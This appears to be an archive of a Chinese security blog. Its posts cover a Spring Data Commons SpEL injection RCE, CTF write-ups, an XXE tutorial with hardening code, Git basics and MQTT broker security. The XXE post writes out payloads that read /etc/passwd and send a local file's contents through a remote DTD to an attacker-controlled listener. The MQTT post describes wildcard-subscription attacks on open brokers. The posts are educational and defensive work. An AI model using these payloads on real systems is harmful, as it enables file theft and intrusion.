影响版本:
1.13-1.13.10
2.0-2.0.5

漏洞主要因为是在自动解析用户的参数的时候采用了SpEL去解析propertyName
我们直接从补丁看漏洞代码是位于MapPropertyAccessor类的setPropertyValue方法
屏幕快照 2019-01-18 下午8.01.45
可以看到这是很直接的之前错误的使用了StandardEvaluationContext造成的RCE,修复方式也是主要通过替换为SimpleEvaluationContext完成。
漏洞形成的原因就是当用户在开发中利用了Spring-data-commons中的特性对用户的输入参数进行自动匹配时候,会将用户提交的form表单中的参数名作为SpEL执行。
漏洞代码:

开发者使用如下代码:

其流程简单上说就是在获取POST过来的参数时候因为要自动绑定进入实体类,所以首先要通过isWritableProperty中调用的getPropertyPath来判断参数名。如:传来的username参数是否是开发者controller中接收的UserForm实体类里的一个属性名。然后把用户传入的参数key即propertyName进行PARSER.parseExpression(propertyName),最后setValue(context,value)触发了恶意代码。(上方功能用法示例中-> Variables 中介绍过)
细节如果需要了解可以自己调试一下。
payload:

屏幕快照 2019-01-22 上午12.32.05
setValue(context,value)时候会把propertyName内的username作为一个集合,利用了SpEL集合选择的功能,所以就会执行中括号里面的SpEL表达式了。
屏幕快照 2019-01-20 下午12.19.44

防御方式

因为SpEL表达式注入漏洞导致攻击者可以通过表达式执行精心构造的任意代码,导致命令执行。为了防御该类漏洞,Spring官方推出了SimpleEvaluationContext作为安全类来防御该类漏洞。
官方文档:https://docs.spring.io/spring/docs/5.0.6.RELEASE/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html
常见用法:

总结

经过常见用法以及几个案例分析,我们可以知道,事实上在一般的开发后台过程中我们基本不会写出这样的漏洞点,一般就是通过注解或者XML用其Bean以及上下文中变量的存取功能。而出现漏洞的位置基本有两种,一是相关框架中在需要用一种通用的方法获取或者设置某对象中指定属性名的属性值的时候,也可以说使用SpEL的地方往往就是需要利用它内部使用反射的这个特点,从而可以省去我们编写的麻烦,来达到一些目的。二是在双重EL表达式评估中发生。发现该漏洞可以通过这些关键触发方法或者类如getValueStandardEvaluationContext等,当然也可以通过find-sec-bug这个插件来寻找。其防御方式是使用SimpleEvaluationContext来禁用其敏感的功能,从而阻止表达式注入执行问题的出现。

参考

https://docs.spring.io/spring/docs/3.0.x/reference/expressions.html
http://www.polaris-lab.com/index.php/archives/613/
https://m.habr.com/company/dsec/blog/433034/
http://blog.nsfocus.net/spel-vulnerability-technical-analysis-and-protection-scheme/
http://deadpool.sh/2017/RCE-Springs/
https://2018.zeronights.ru/wp-content/uploads/materials/10%20ZN2018%20WV%20-%20Spel%20injection%20.pdf
https://www.freebuf.com/vuls/172984.html
http://xxlegend.com/2018/04/12/CVE-2018-1273-%20RCE%20with%20Spring%20Data%20Commons%20分析报告/
https://www.secpulse.com/archives/75930.html

Code-Breaking Puzzles — javacon WriteUp

刷微博正好看到P神的活动,学习了。

简单记录下jar分析一般步骤:
源码下载后,JD-GUI反编译,或者到IDEA中放进lib便可以查看反编译class源码。
如果需要调试,IDEA打断点后,配置Remote如下
屏幕快照 2018-11-25 下午6.31.18

命令启动

再点击IDEA右上角的DEBUG即可。

程序结构:
屏幕快照 2018-11-25 下午6.34.08

首先我们可以从SpringBoot的配置 application.yml看起

主要就是一个黑名单,一个用户的提供。

其他文件 :
SmallEvaluationContext 继承 StandardEvaluationContext,主要是提供一个上下文环境,相当于一个容器。
ChallengeApplication 用于启动
Encryptor 加密解密工具类
KeyworkProperties 使用黑名单时需要
UserConfig 用户模型,可以看到在RemberMe时使用了Encryptor

主要看MainController
屏幕快照 2018-11-25 下午6.41.24

我们从登录看起

判断用户名密码,如果勾选了remberMe则浏览器存入加密后的cookie。
最后跳转hello.html

屏幕快照 2018-11-25 下午6.45.23

打开页面后其中比较敏感的一个操作就是对Cookie的处理,如下

程序判断rememberMeValue存在后,直接对其进行解密,然后将其setAttribute,接下来可以看到this.getAdvanceValue(username.toString())
我们来看这个方法。

其实就是与其跟黑名单做正则匹配,如果匹配成功则抛出HttpStatus.FORBIDDEN,如果没有匹配到则进行正常流程,在SmallEvaluationContext进行SpEL表达式解析。注意,这里就存在El表达式注入的问题了。
在JAVA中我们可以通过

来执行命令,但在这个题目中使用了黑名单。
所以这里我们需要使用反射来构造一条调用链,这样就可以在关键字处使用字符串拼接来达到绕过黑名单的效果。
不熟悉反射的小伙伴可以先学习一下,这里我直接给出POC 还有一些注意的点。

我们选择利用curl来配合执行命令,所以如下,字符串拼接很好理解,很容易绕过了正则匹配。

运行一下,可以看到我们成功接受到了请求。
屏幕快照 2018-11-25 下午7.04.58

接下来我们需要将其构造为SpEl的解析格式,主要就是改一个T() 。在SpEL中,使用T()运算符会调用类作用域的方法和常量。
需要注意的一个点,在JAVA中Runtime中exec对复杂一点的linux命令执行不了…我们需要将其参数改成如下才可以

所以我们构造如下POC 来执行命令并获取结果,这里一个小技巧就是使用base64来传数据。

获取目录
之后cat flag,如下,再像上面一样加密后存入cookie中即可。

屏幕快照 2018-11-25 下午6.44.00
屏幕快照 2018-11-25 下午6.17.31
屏幕快照 2018-11-25 下午6.17.42

最后,师傅们Tql,感谢p神的题目。
屏幕快照 2018-11-25 下午6.33.22

ZJCTF Final 部分WP

浙江首届大学生CTF比赛,大型网友线下见面活动,主要过来和师傅们学习下。
分享下比赛时候做出的题目和复现时放出的隐藏题目的做法以及思路。

1-1

Name

netsec

Title

知法懂法

Category

web

Describe

请认真阅读网络安全法

Score

200

Location

1-1

Solution

得到大家一致评论很坑的签到题….
注入得到一些网络安全法条目,查看发现第二十九条明显不属于网络安全法。

安全法.png

但是题目并没有给出详细提示,尝试10,二十九均无效,最后直接在搜索框输入条文内容得到flag。

netsecflag.png

1-2

Name

zq_web

Title

回味童年

Category

web

Describe

你能达到2018分吗

Score

400

Location

1-2

Solution

俄罗斯方块.png

一个没有游戏结束判定的俄罗斯方块游戏,用jd-gui打开逆向查看源码。

基本逻辑是达到一定分数,程序就会根据当前时间戳构建认证请求发送给服务器,获取flag。

直接构造发送请求:

 

2-1

Name

circle

Title

圆圈圈圆

Category

misc

Describe

一张普通的纸

Score

300

Location

2-1

Solution

图片隐写,先用binwalk分析

binwalk.png

foremost提取出其中的各种文件,中途晕头转向的过程就不提了,最后结果是:

在ole文件中得到假flag:

ole.png

用这个字符串当作密码解密rar压缩包,得到一张图片,二进制分析图片得到真flag:

zjctf{C1r_u_f1n0}

Ps:在无外网环境下给出一个不常见的ole格式文件,迷惑性还是很大的。

Pss:没太理解这个假flag和压缩包密码的联系。

Psss:主办方很坏的在内网提供了压缩包爆破工具,是个狠人.jpg

4-1

Name

pig_peppa

Title

小猪佩奇

Category

misc

Describe

小猪佩奇身上纹,掌声送给社会人

Score

300

Location

4-1

Solution

得到一个png文件和一个docx文档,binwalk检查发现都隐写了很多文件,提取出来查看,发现png文件中有一个mp3文件,文档中有一个二维码。

file.png

qr.png

解析二维码,得到:

password:APIG

思考有密码的音频隐写,尝试MP3Stego

会在当前目录生成一个peppa.mp3.txt,得到base64编码后的flag,解码得到flag。

E57C2C63583D3656E0DBF3E4028016B4.png

4-2

Name

yurisqli_final

Title

盲人摸象

Category

web

Describe

just inject it!

Score

500

Location

4-2

Solution

从题名可以看出,本题考察盲注,跑了一波sql关键词发现一些被过滤(单引号也被过滤了,但双引号没有)
以下是部分没被过滤的关键词

比赛时候poc是选择 < 来注入的,

赛后和Liano师傅交流发现他们是用in进行注入,这里在复现时候专门使用in编写了个脚本:

这里注意 in 不区分大小写,所以最后的b需要大写

B8F827C77B1EC12007091F8E500CB4F7.png

f1-1

Name

more_fast

Title

你得快点

Category

web

Describe

你需要尽快的提交flag

Score

300

Location

f1-1

Solution

查看源码,提示

让我们POST一个东西,所以得先找到这玩意。查看网络请求,在返回的请求头中发现了一个flag值:

flaginheaders.png

base64解码查看:

每次请求flag都会不同,把flag字符串用POST提交回去,发现提示不够快:

尝试多次发送请求,无果,最后发现随意POST一个字符串也会返回“不够快”,于是检查是不是POST的数据出现了问题,最后发现给出的字符串依旧是base64编码过的,还需要一次解密再提交。最终payload:

f1-2

Title

心有猛虎

Description

“心有猛虎,细嗅蔷薇”是英国诗人西格里夫·萨松代表作《于我,过去,现在以及未来 》的经典诗句。原话是“In me the tiger sniffs the rose.”诗人余光中将其翻译为:心有猛虎,细嗅蔷薇。意思是,老虎也会有细嗅蔷薇的时候,忙碌而远大的雄心也会被温柔和美丽折服,安然感受美好。讲的是人性中阳刚与阴柔的两面。(不要碰撞平台,谢谢!!!)

Category

WEB

Score

500

Solution

思路:哈希算法碰撞,查看robots.txt能看到/flag和/code,前者是提交请求的接口,后者为验证码接口,发现后端是python,于是查看有无源码泄漏,得到flag.pyc,逆向出源码后进行哈希函数碰撞。

f2-1

Name

god_blame

Title

无量寿佛

Category

web

Describe

你能得到神的保佑吗?

Score

300

Solution

点进链接页面,查看源码:

 

AAencode,解码得到:

 

发现一段base64,解码后得到flag:

zjctf{1_aM_He2e_aaaa}

XXE漏洞原理以及防御方式

前言

web中除了我们熟悉的传参,或者JSON格式实现客户端与服务器之间的数据交流,还有XML的方式,熟悉开发的小伙伴肯定接触过它,比如在SpringMVC中的各种配置。同时XML也是许多使用XML schemas实行数据交换的协议的基础,例如RSS,Atom,SOAP等。
那么在web中使用XML进行数据交互会出现什么安全问题呢,这就是我们这里要讲的XXE漏洞。

XXE漏洞介绍

XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。Java中的XXE支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用file协议读取文件,利用http协议探测内网。

相关概念以及利用方式

DTD

DTD(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用)。
引用方式:

  1. DTD 内部声明
    <!DOCTYPE 根元素 [元素声明]>

  2. DTD 外部引用
    <!DOCTYPE 根元素名称 SYSTEM “外部DTD的URI”>

  3. 引用公共DTD
    <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

ENTITY

XML中的实体类型,一般有下面几种:命名实体(或内部实体)、外部普通实体、外部参数实体。除外部参数实体外,其它实体都以字符(&)开始,以字符(;)结束。
1.内部实体
一般用于变量声明
<!ENTITY 实体名称 "实体的值">
如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY x "Hello">
    <!ENTITY y "World!">
]>
<root><x>&x;</x><y>&y;</y></root>

屏幕快照 2018-10-09 下午5.49.34

2.外部普通实体
一般用于加载外部文件,不同程序支持的协议不一样。这里我们就可以利用不同协议来达到任意文件读取/内网探测等。
屏幕快照 2018-10-09 下午5.51.39

<!ENTITY 实体名称 SYSTEM "URI/URL">
如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY x "First Param!">
    <!ENTITY y "Second Param!">
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><x>&x;</x><y>&y;</y><xxe>&xxe;</xxe></root>

屏幕快照 2018-10-09 下午6.00.55

3.外部参数实体
参数实体用于DTD和文档的内部子集中。与一般实体不同,是以字符(%)开始,以字符(;)结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。除了可以完成有回显的情况。这里还可以用于Blind XXE攻击。
<!ENTITY % 实体名称 "实体的值">或者<!ENTITY % 实体名称 SYSTEM "URI">
如(Blind XXE):
由于语法限制所以我们需要在外部DTD中接受对应参数

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % file SYSTEM "file:///Users/ruilin/test/flag">
    <!ENTITY % dtd SYSTEM "http://rui0.cn/test/evil.dtd">
    %dtd;
    %send;
]>

evil.dtd 内部的%号要进行实体编码成&#x25
(这里的http://127.0.0.1:8888大家可以理解为自己VPS,我这里为了方便直接使用本机接收读取内容)

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:8888/?file=%file;'>"
>
%all;

屏幕快照 2018-10-09 下午7.06.04

XXE漏洞防御

JAVA中解析XML常见的几个库有DOM、DOM4J、JDOM 和SAX

1.setFeature
feature表示解析器的功能,通过设置feature,我们可以控制解析器的行为。

// 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 如果不能完全禁用DTDs,最少采取以下措施,必须两项同时存在
setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部实体POC
setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止参数实体POC

最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。
修复代码如:

public String xxe_SAXParser_fix(HttpServletRequest request) {
        try {
            String xml_con = getBody(request);
            System.out.println(xml_con);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler());  // parse xml
            return "test";
        } catch (Exception e) {
            System.out.println(e);
            return "except";
        }
    }

2.检测/过滤关键词
常见的可以过滤ENTITY,openrasp采用的方式为检测敏感协议和读取的敏感文件。但都存在被绕过的风险。

参考

https://xz.aliyun.com/t/2761
http://www.freebuf.com/column/156863.html
https://resources.infosecinstitute.com/xxe-attacks/
http://skysec.top/2018/08/17/浅析xml及其安全问题/
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
https://github.com/JoyChou93/java-sec-code

Git 学习笔记

之前的笔记简单整理一下,方便刚接触的同学们快速入门

基本概念

对于一个程序员来说,Git可以说是一个必须掌握的基本技能。那么Git是什么呢,为什么对我们有这么大的作用?
Git是当下最流行,最好用的版本控制系统。所谓版本控制系统主要就是为了控制,协调各个版本的一致性。它增大了开发的灵活性,当遇到开发问题时可以随时回溯到上一个版本。Git属于分布式版本控制系统,也就是说每一个你clone下来的Git仓库都是主仓库的一个分布式版本。
因为clone下的数据都在本地,所以不仅提高了开发效率,而且即使我们离开了网络也可以执行提交,创建分支,查看历史版本记录等操作。
最后再来了解一个概念,Git本地有3个主要的工作区域

  • 工作目录
  • 暂存区域
  • 本地仓库

具体作用我们在后面的基本操作中介绍

GitHub

GitHub是一个面向开源及私有软件项目的托管平台,也是一个全球最大的同性交友平台(???)你可以在上面学习到许多大佬的开源项目,同时也可以用于自己的项目开源与团队开发协作。

基本操作

首先注册GitHub 不多说了

初次配置

跟Github注册信息一致

$ git config --global user.name "yourname"
$ git config --global user.email "yours@example.com"

查看是否添加成功

git config --list 

SSH key配置
推送是需要登陆输入GitHub用户名密码的,使用SSH公钥省可以省去这个环节。
1.创建SSH Key
首先在用户主目录下,看看有没有.ssh目录,如果有,再看看这个目录下有没有id_rsaid_rsa.pub这两个文件,如果有的话可以跳到下一步。
如果没有,在终端(Windows下打开Git Bash)执行

ssh-keygen -t rsa -C "yours@example.com"

然后一直回车就行
屏幕快照 2018-09-03 下午5.58.14
2.GitHub配置SSH Key
Account–>settings–>SSH and GPG keys–>[New SSH Key]
屏幕快照 2018-09-03 下午6.03.31
Title 可以不填,会自动生成
在下面的Key中填入新生成的文件id_rsa.pub内容
Add后就配置成功了

创建本地仓库

首先创建目录 进入目录

mkdir xxx
cd xxx

初始化

git init 

当前目录会生成一个.git文件夹用于管理Git仓库。它是 Git 用来保存元数据和对象数据库的地方。该文件夹非常重要,每次clone镜像仓库的时候,实际拷贝的就是这个文件夹里面的数据。具体细节有兴趣的可以深入了解下。

GitHub创建仓库

GitHub New Repository[https://github.com/new]
具体初始化步骤创建成功后会有显示 如下图 不多解释了
屏幕快照 2018-09-08 上午11.26.07

文件的三种状态

在了解常用命令之前,我们需要把之前简单提及了一下的概念再稍做深入。
我们要知道对于任何一个文件,在 Git 内都只有三种状态:已提交(committed),已修改(modified)和已暂存(staged)。已提交表示该文件已经被安全地保存在本地数据库中了;已修改表示修改了某个文件,但还没有提交保存;已暂存表示把已修改的文件放在下次提交时要保存的清单中。
由此我们看到也就是最开始基本概念中提及到 Git 管理项目时,文件流转的三个工作区域:Git 的工作目录暂存区域,以及本地仓库
18333fig0106-tn
我们可以从文件所处的位置来判断状态:如果是 Git 文件夹中保存着的特定版本文件,就属于已提交状态;如果作了修改并已放入暂存区域,就属于已暂存状态;如果自上次取出后,作了修改但还没有放到暂存区域,就是已修改状态。

常用命令

1.创建版本库

git clone <url>    #克隆远程版本库
git init          #初始化本地版本库

2.修改和提交

git status                    #查看状态
git diff                      #查看变更内容
git add .                     #添加所有改动过的文件
git add <file>                #添加指定文件
git mv <old> <new>            #文件改名
git rm <file>                 #删除文件
git rm --cached <file>        #停止添加文件但不删除
git commit -m "commit message"#提交所有更新过的文件
git commit --amend            #修改最后一次提交

3.查看提交历史

git log                       #查看提交历史
git log -p <file>             #查看指定文件的提交历史
git blame <file>              #以列表方式查看指定文件的提交历史

4.撤销

git reset --hard HEAD          #撤销工作目录中所有未提交文件的修改内容
git checkout HEAD <file>       #撤销指定的未提交文件的修改内容
git revert <commit>            #撤销指定的提交

5.分支

git branch                    #显示所有本地分支
git checkout <branch/tag>     #切换到指定分支或者标签
git branch <new-nbranch>      #创建新分支
git branch -d <branch>        #删除本分支

6.其他

git merge <branch>                 #合并指定分支到当前分支
git pull <remote> <branch>         #更新代码
git push <remote> <branch>         #上传代码

上面节选了常用的一部分网上Git速查表的内容,并不是全部。当然使用频率最高的是下面这几个,同时也是一般更新Git仓库的基本操作流程。

git clone <url>
git pull
(一系列修改代码/增加代码操作)   #在工作目录处理文件
git add .                   #将文件添加至暂存区域
git commit -m "xxx"         #将文件提交到本地仓库
git push

从项目中取出某个版本的所有文件和目录,用以开始后续工作的叫做工作目录。这些文件实际上都是从 Git 文件夹中的压缩对象数据库中提取出来的,接下来就可以在工作目录中对这些文件进行编辑。

所谓的暂存区域只不过是个简单的文件,一般都放在 Git 文件夹中。有时候人们会把这个文件叫做索引文件,不过标准说法还是叫暂存区域。

所以基本的操作如下:

  1. 在工作目录中修改某些文件。
  2. 对修改后的文件进行快照,然后保存到暂存区域。
  3. 提交更新,将保存在暂存区域的文件快照永久转储到 Git 文件夹中。

Git 工作流程

可以直接看这篇文章了,写的很好。Git 工作流程

使用建议:三个简单规则

git_rule

  • 规则一:为每个新项目创建一个Git存储库。
  • 规则二:为每个新功能创建一个新分支。
  • 规则三:用pull reqeust把代码合并到Master分支。

参考

https://medium.freecodecamp.org/follow-these-simple-rules-and-youll-become-a-git-and-github-master-e1045057468f
https://www.cnblogs.com/myqianlan/p/4195994.html
https://blog.csdn.net/xuda27/article/details/52617148
https://git-scm.com/book/zh/v2

浅析MQTT安全

近期做的项目中有涉及IoT的相关内容,其中协议使用了MQTT,因此也专门抽时间关注了其安全性问题,事实上在前两年的Defcon和BlackHat上都有人做过其安全性的演讲。目前来说,MQTT在使用中拥有相对的安全认证体系,但是其中仍然存在被恶意破解拿到权限的风险,这更大一部分不是MQTT的问题,而是使用者的问题。

MQTT概览

MQTT是一种机器对机器(M2M)的协议,它被广泛地用于 IoT 。其在1999年由IBM发明,当时是为了创建一个协议,用于通过卫星连接连接石油管道的最小电池损耗和最小带宽。因为它的耗能非常低,所以被IoT生态系统广泛采用。目前几乎所有的 IoT 云平台 都支持通过 MQTT 与几种不同实现的 IoT 智能设备发送接收数据。
官方定义:

MQTT stands for MQ Telemetry Transport. It is a publish/subscribe, extremely simple and lightweight messaging protocol, designed for constrained devices and low-bandwidth, high-latency or unreliable networks. The design principles are to minimise network bandwidth and device resource requirements whilst also attempting to ensure reliability and some degree of assurance of delivery. These principles also turn out to make the protocol ideal of the emerging “machine-to-machine” (M2M) or “Internet of Things” world of connected devices, and for mobile applications where bandwidth and battery power are at a premium.

其设计思想是开放、简单、轻量、易于实现。这些特点使它适用于受限环境。例如,但不仅限于此:

  • 特别适合于网络代价昂贵,带宽低、不可靠的环境。
  • 能在处理器和内存资源有限的嵌入式设备中运行。
  • 使用发布/订阅消息模式,提供一对多的消息发布,从而解除应用程序耦合。
  • 使用 TCP/IP 提供网络连接。
  • 提供Last Will 和 Testament 特性通知有关各方客户端异常中断的机制。

目前有许多MQTT消息中间件服务器,比如

  • Mosquitto
  • RabbitMQ
  • Apache ActiveMQ
  • HiveMQ
  • EMQ
  • ……

相关介绍

发布与订阅模式

MQTT是基于消息实现了发布者-订阅者模式的协议,其通过Borker其实也就是我们理解的Server来达到一个代理中转的作用,将消息接收并派发给订阅者。在转发消息的时候Borker使用Topic来过滤过客端。Topic就好比一个具体路径或者节点,客户端会有一个自己需要订阅或者发布的指定路径。也可以理解为Topic就像一个通道,它把发布者与它的订阅者连接起来。话题由MQTT代理管理。通过这个虚拟通道,发布者与订阅者解耦,客户端(发布者或订阅者)不必相互知道。
pubsub

如上图MQTT架构,左边的传感器通过publish温度到Borker,右边的手机电脑等设备通过subscribe来订阅其实时数据,中间的EMQ Borker起到了消息的接收与转发作用。

协议报文

固定报头
1*k6RkAHEk0576geQGUcKSTA
报文格式
1*z0fhdUVzGa0PLikH_cyBmQ

应用场景

目前物联网发展速度十分迅速,而MQTT在物联网设备的应用场景十分之广

  • 智能家居
  • 温度湿度传感器
  • 健身器材
  • 血压测量仪
  • 位置服务
  • 医疗设备
  • ……

MQTT安全

屏幕快照 2018-07-30 下午5.51.59

这是截止目前对国内1883端口的统计约有1万余台
屏幕快照 2018-07-29 下午9.31.39
屏幕快照 2018-07-29 下午9.32.00

1. MITM攻击

目前可以在MQTT协议V3.1中传递用户名密码来认证。MQTT基于TCP协议默认端口为1883,但容易受到MITM攻击。可以使用SSL来加密,其默认端口为8883。SSL虽然会给传输加密但是却增大了网络开销。
屏幕快照 2018-07-30 下午6.29.24

2. 未授权问题

虽然目前MQTT的消息服务器都会有相对完备的认证方式,可是经过Shodan拿到的数据发现有许多MQTT消息服务器存在配置错误,使用者没有配置认证造成未授权访问。
一旦我们进入,经过对Topic的分析,我们就可以监控全部设备,甚至发送命令控制或者SQL操作。

  • 利用通配符获取订阅所有Topic
    MQTT 主题(Topic) 支持’+’, ‘#’的通配符,’+’通配一个层级,’#’通配多个层级(必须在末尾)。
    也就是说 如果我们的有两个个Topic分别为 CMD/123/456 CMD/789/666 那么我们可以订阅CMD/#来获取其CMD下的全部消息。在攻击中我们首先就可以利用其来监听所有Topic。
    如下为两台未授权MQTT消息服务器。
    屏幕快照 2018-07-29 下午8.49.00
    屏幕快照 2018-07-29 下午8.40.42
  • 权限控制问题
    前面是对无用户名密码的MQTT服务器的连接利用通配符订阅所有消息。难道有用户名和密码就可以制止了吗,类似WEB中的越权。试想一下,我们的一个设备如温度计需要通过用户名密码登录来publish温度,其通常会用设备ID等组合来形成一个key作为密码,或者就是我们的网站登陆密码吧。如果我们逆向了这个设备成功知道了用户名密码,而同时MQTT服务器配置没有对普通用户权限进行管理,允许其使用通配符,那么结果就会和上面的效果一样。
    假设如下为一个设备的配置,这里会完成登陆可是我们在MQTT服务器没有禁止其可以使用通配符
    屏幕快照 2018-07-30 下午3.21.46
    屏幕快照 2018-07-30 下午3.24.31
    我们对其订阅的Topic发送消息,可以看到成功接收
    屏幕快照 2018-07-30 下午3.30.47
    现在我们把订阅内容改成通配符
    屏幕快照 2018-07-30 下午3.32.35
    可以看到由于对用户没有权限验证导致其可以任意订阅内容,获取其他成员消息
    屏幕快照 2018-07-30 下午3.36.10

  • 匿名登陆问题
    emqttd/etc/emq.conf
    默认是开启的任何人都能登陆 需改为false
    mqtt.allow_anonymous = true

  • 注意认证插件
    目前MQTT中间件都会提供许多认证方式如MYSQL,LDAP等,但最近我使用EMQ中发现了一个坑,其中emq_plugin_template为一个开发插件的模版,它自动开启然后导致任意用户名密码都可以连接成功,如下
    屏幕快照 2018-07-30 下午5.54.55
    任意用户名密码连接
    屏幕快照 2018-07-30 下午5.54.37
    关闭后,可以正常判断
    屏幕快照 2018-07-30 下午6.00.03
    所以各位开发者在开启认证插件时一定要注意和检查,以免出现不必要的问题。

3. 暴力破解

https://github.com/zombiesam/joffrey
屏幕快照 2018-07-30 下午3.48.42
屏幕快照 2018-07-30 下午3.51.59

4.XSS

前端显示或者后端存消息切记需要注意特殊字符过滤。

安全配置

这里以EMQ为例,EMQ 消息服务器认证由一系列认证插件(Plugin)提供,系统支持按用户名密码、ClientID 或匿名认证。
系统默认开启匿名认证(anonymous),通过加载认证插件可开启的多个认证模块组成认证链:

           ----------------           ----------------           ------------
Client --> | Username认证 | -ignore-> | ClientID认证 | -ignore-> | 匿名认证 |
           ----------------           ----------------           ------------
                  |                         |                         |
                 \|/                       \|/                       \|/
            allow | deny              allow | deny              allow | deny

注解
EMQ 2.0 消息服务器还提供了 MySQL、PostgreSQL、Redis、MongoDB、HTTP、LDAP 认证插件。

etc/acl.conf 默认访问规则设置:

%% 允许'dashboard'用户订阅 '$SYS/#'
{allow, {user, "dashboard"}, subscribe, ["$SYS/#"]}.

%% 允许本机用户发布订阅全部主题
{allow, {ipaddr, "127.0.0.1"}, pubsub, ["$SYS/#", "#"]}.

%% 拒绝用户订阅'$SYS#'与'#'主题
{deny, all, subscribe, ["$SYS/#", {eq, "#"}]}.

%% 上述规则无匹配,允许
{allow, all}.

详情可见文档 http://www.emqtt.com/docs/v2/guide.html

总结

物联网是一个目前发展迅速的行业,安全影响力越来越大。MQTT无疑推动了物联网的发展,希望我们在不断方便自身的情况下,也一定要安全合理的使用相关技术。

参考资料

http://emqtt.com/docs/v2/index.html
https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b
https://dzone.com/articles/mqtt-security
https://www.blackhat.com/docs/us-17/thursday/us-17-Lundgren-Taking-Over-The-World-Through-Mqtt-Aftermath.pdf

LOGO

近期文章

标签

分类目录

文章归档

近期评论

功能

博客统计

  • 18,955 点击次数